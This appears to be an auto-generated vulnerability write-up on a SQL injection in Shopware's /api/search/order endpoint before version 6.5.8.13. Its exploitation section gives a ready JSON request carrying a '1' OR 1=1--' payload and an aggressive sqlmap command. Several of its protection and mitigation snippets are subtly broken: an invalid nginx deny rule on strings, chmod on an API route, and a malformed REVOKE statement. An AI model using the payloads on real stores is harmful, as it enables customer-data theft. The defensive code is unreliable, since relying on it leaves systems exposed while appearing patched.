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How CVE-2025-27892 Works
This vulnerability affects Shopware versions before 6.5.8.13 due to a regression of previously patched CVEs (CVE-2024-22406 and CVE-2024-42357). The SQL injection occurs in the `/api/search/order` endpoint, where unsanitized user input is directly concatenated into SQL queries. Attackers can manipulate input parameters to inject malicious SQL payloads, potentially leading to unauthorized database access, data exfiltration, or remote code execution. The flaw stems from improper input validation in the API request handling logic, allowing crafted requests to bypass security checks.
DailyCVE Form
Platform: Shopware
Version: <6.5.8.13
Vulnerability: SQL Injection
Severity: Critical
Date: 04/23/2025
What Undercode Say:
Exploitation:
1. Craft malicious API request:
POST /api/search/order HTTP/1.1
Host: vulnerable-shop.com
Content-Type: application/json
{"filters":[{"field":"orderNumber","value":"1' OR 1=1--"}]}
2. Use automated tools:
sqlmap -u "https://target.com/api/search/order" --data='{"filters":[{"field":"orderNumber","value":""}]}' --risk=3 --level=5
Protection:
1. Patch immediately:
composer require shopware/core:6.5.8.13
2. Input validation:
$sanitizedInput = $this->connection->quote($userInput);
3. WAF rules:
location /api/search/order {
deny "1=1";
deny "UNION";
}
Detection:
1. Log monitoring:
grep -r "SQL syntax error" /var/log/shopware/
2. IDS signature:
alert http any any -> any any (msg:"Shopware SQLi Attempt"; content:"1=1"; http_uri; sid:1000001;)
Mitigation:
1. Disable vulnerable endpoint:
chmod 000 /var/www/shopware/public/api/search/order
2. Database hardening:
REVOKE ALL PRIVILEGES ON shopware_db. FROM 'webuser'@'%';
References:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
